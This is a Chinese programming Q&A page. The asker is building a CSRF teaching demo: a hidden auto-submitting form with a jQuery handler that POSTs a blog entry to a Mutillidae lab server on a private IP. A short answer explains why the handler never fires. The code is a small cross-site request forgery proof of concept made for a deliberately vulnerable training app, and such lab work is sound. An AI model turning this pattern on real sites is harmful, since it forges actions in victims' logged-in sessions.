当前位置: 代码迷 >> JavaScript >> Ajax POST处理程序循环
  详细解决方案

Ajax POST处理程序循环

热度:14   发布时间:2023-06-07 15:54:32.0

我试图设置一个基本的Ajax提交处理程序来修改表单(我正在为CSRF漏洞写一课),但是页面不断循环播放。 这是我一直在修改的示例代码,该代码基于 :

 <!DOCTYPE html>
 <html>
 <body>

 <form id="hidden_form" target="blahblah.com"> </form>

 <script>
 //Attach a submit handler to the form
 $( '#hidden_form' ).submit(function( event ) {

      //stop form from submitting normally
      event.preventDefault();

      //set new target for the form
      var $form = $( this ),
        url = "http://192.168.101.250/mutillidae/index.php?page=add-to-your-blog.php&csrf-token=SecurityIsDisabled&blog_entry=example+text&add-to-your-blog-php-submit-button=Save+Blog+Entry"

      //capture the response but do nothing with it
      var posting = $.post( url );
 });
 </script>

 <script>
      $( '#hidden_form' ).submit();
 </script>

 </body>
 </html>

当我使用浏览器在本地加载此文件时,选项卡标签会非常快速地在/path/to/file.html和“正在连接”之间切换,但是我知道请求从未发送出去,因为我有burp代理来拦截所有流量,但不会捕获任何东西。

那我在做什么错? 我希望ajax处理程序将POST请求发送到指定的url,但永远不会发送出去

编辑:我已经更改了第二个脚本来调用处理程序,而不是实际的形式,但是仍然没有通过网络发送流量?

直接在表单元素节点上调用.submit()不会触发提交事件,而是直接绕过所有事件处理程序来提交表单。 您应该改为调用确实触发事件处理程序的方法的jQuery形式。

$( '#hidden_form' ).submit();
  相关解决方案